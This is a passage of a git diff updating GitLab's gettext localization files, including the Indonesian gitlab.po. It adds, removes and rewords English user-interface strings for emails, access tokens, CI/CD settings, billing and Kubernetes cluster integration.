-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -37776,12 +37602,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -37809,18 +37629,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -37833,12 +37647,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -37908,12 +37716,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -37998,6 +37812,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38007,6 +37824,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38099,6 +37919,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38156,12 +37979,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
@@ -38186,6 +38018,9 @@ msgstr ""
msgid "cannot be enabled unless all domains have TLS certificates"
msgstr ""
+msgid "cannot be enabled until a valid credit card is on file"
+msgstr ""
+
msgid "cannot be modified"
msgstr ""
@@ -38204,9 +38039,6 @@ msgstr ""
msgid "cannot merge"
msgstr ""
-msgid "child-pipeline"
-msgstr ""
-
msgid "ciReport|%{degradedNum} degraded"
msgstr ""
@@ -38509,6 +38341,9 @@ msgstr ""
msgid "created"
msgstr ""
+msgid "created %{issuable_created} by %{author}"
+msgstr ""
+
msgid "created %{timeAgoString} by %{email} via %{user}"
msgstr ""
@@ -38593,6 +38428,9 @@ msgstr ""
msgid "encrypted: needs to be a :required, :optional or :migrating!"
msgstr ""
+msgid "ending with MIME type format is not allowed."
+msgstr ""
+
msgid "entries cannot be larger than 255 characters"
msgstr ""
@@ -38672,9 +38510,6 @@ msgid_plural "from %d jobs"
msgstr[0] ""
msgstr[1] ""
-msgid "general, development"
-msgstr ""
-
msgid "group"
msgstr ""
@@ -39060,6 +38895,9 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39096,9 +38934,6 @@ msgstr ""
msgid "mrWidget|Open in Web IDE"
msgstr ""
-msgid "mrWidget|Pipeline blocked. The pipeline for this merge request requires a manual action to proceed"
-msgstr ""
-
msgid "mrWidget|Plain diff"
msgstr ""
@@ -39159,7 +38994,7 @@ msgstr ""
msgid "mrWidget|The source branch has been deleted"
msgstr ""
-msgid "mrWidget|The source branch is %{commitsBehindLinkStart}%{commitsBehind}%{commitsBehindLinkEnd} the target branch"
+msgid "mrWidget|The source branch is %{link} the target branch"
msgstr ""
msgid "mrWidget|The source branch is being deleted"
@@ -39240,7 +39075,10 @@ msgstr ""
msgid "must be greater than start date"
msgstr ""
-msgid "must contain only valid frameworks"
+msgid "must be inside the fork network"
+msgstr ""
+
+msgid "must have a unique schedule, status, and elapsed time"
msgstr ""
msgid "my-awesome-group"
@@ -39303,6 +39141,9 @@ msgstr ""
msgid "on track"
msgstr ""
+msgid "only available on top-level groups."
+msgstr ""
+
msgid "open issue"
msgstr ""
@@ -39586,6 +39427,9 @@ msgstr ""
msgid "the correct format."
msgstr ""
+msgid "the file"
+msgstr ""
+
msgid "the following issue(s)"
msgstr ""
@@ -39688,6 +39532,9 @@ msgstr ""
msgid "view the source"
msgstr ""
+msgid "visibility"
+msgstr ""
+
msgid "vulnerability"
msgid_plural "vulnerabilities"
msgstr[0] ""
diff --git a/locale/id_ID/gitlab.po b/locale/id_ID/gitlab.po
index e2663b62cc0..abfc81751eb 100644
--- a/locale/id_ID/gitlab.po
+++ b/locale/id_ID/gitlab.po
@@ -14,14 +14,11 @@ msgstr ""
"X-Crowdin-Language: id\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-06-01 20:21\n"
+"PO-Revision-Date: 2021-07-01 21:02\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
-msgid " %{project_name}#%{issuable_iid} &middot; created %{issuable_created} by %{author} &middot; updated %{issuable_updated}"
-msgstr ""
-
msgid " %{start} to %{end}"
msgstr ""
@@ -87,6 +84,9 @@ msgstr ""
msgid "\"el\" parameter is required for createInstance()"
msgstr ""
+msgid "#general, #development"
+msgstr ""
+
msgid "%d Approval"
msgid_plural "%d Approvals"
msgstr[0] ""
@@ -230,10 +230,6 @@ msgid "%d issue successfully imported with the label"
msgid_plural "%d issues successfully imported with the label"
msgstr[0] ""
-msgid "%d item"
-msgid_plural "%d items"
-msgstr[0] ""
-
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -358,6 +354,21 @@ msgstr ""
msgid "%{board_target} not found"
msgstr ""
+msgid "%{bold_start}%{count}%{bold_end} issue"
+msgid_plural "%{bold_start}%{count}%{bold_end} issues"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} member"
+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -399,6 +410,10 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -587,10 +602,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -750,6 +765,9 @@ msgid "%{securityScanner} result is not available because a pipeline has not bee
msgid_plural "%{securityScanner} results are not available because a pipeline has not been run since it was enabled. %{linkStart}Run a pipeline%{linkEnd}"
msgstr[0] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -783,9 +801,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -878,12 +893,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -914,6 +923,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1375,9 +1387,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1438,18 +1447,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1654,13 +1654,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1678,16 +1678,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -1807,6 +1807,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -1816,6 +1819,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -1879,6 +1885,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2005,6 +2014,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2239,9 +2251,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2254,19 +2263,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2278,7 +2290,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2287,10 +2299,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2701,9 +2710,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2921,12 +2942,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3053,9 +3080,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3122,6 +3146,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3281,9 +3308,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3356,9 +3380,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3410,6 +3431,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3500,6 +3524,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3656,9 +3683,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -3935,9 +3959,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4023,15 +4044,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4415,9 +4430,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4605,9 +4617,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -4995,6 +5004,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5135,6 +5147,9 @@ msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
msgstr[0] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5193,6 +5208,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5223,6 +5241,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5445,6 +5466,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5613,6 +5637,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5659,10 +5686,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5707,6 +5734,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5830,9 +5860,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -5938,15 +5965,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6223,6 +6250,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6325,9 +6355,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6355,6 +6382,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6784,9 +6814,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6796,24 +6823,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6847,15 +6862,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6868,9 +6874,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -6892,9 +6895,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -6913,15 +6913,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -6943,9 +6934,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -6958,15 +6946,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6988,15 +6973,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7045,12 +7021,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7066,9 +7036,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7084,9 +7051,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7189,18 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
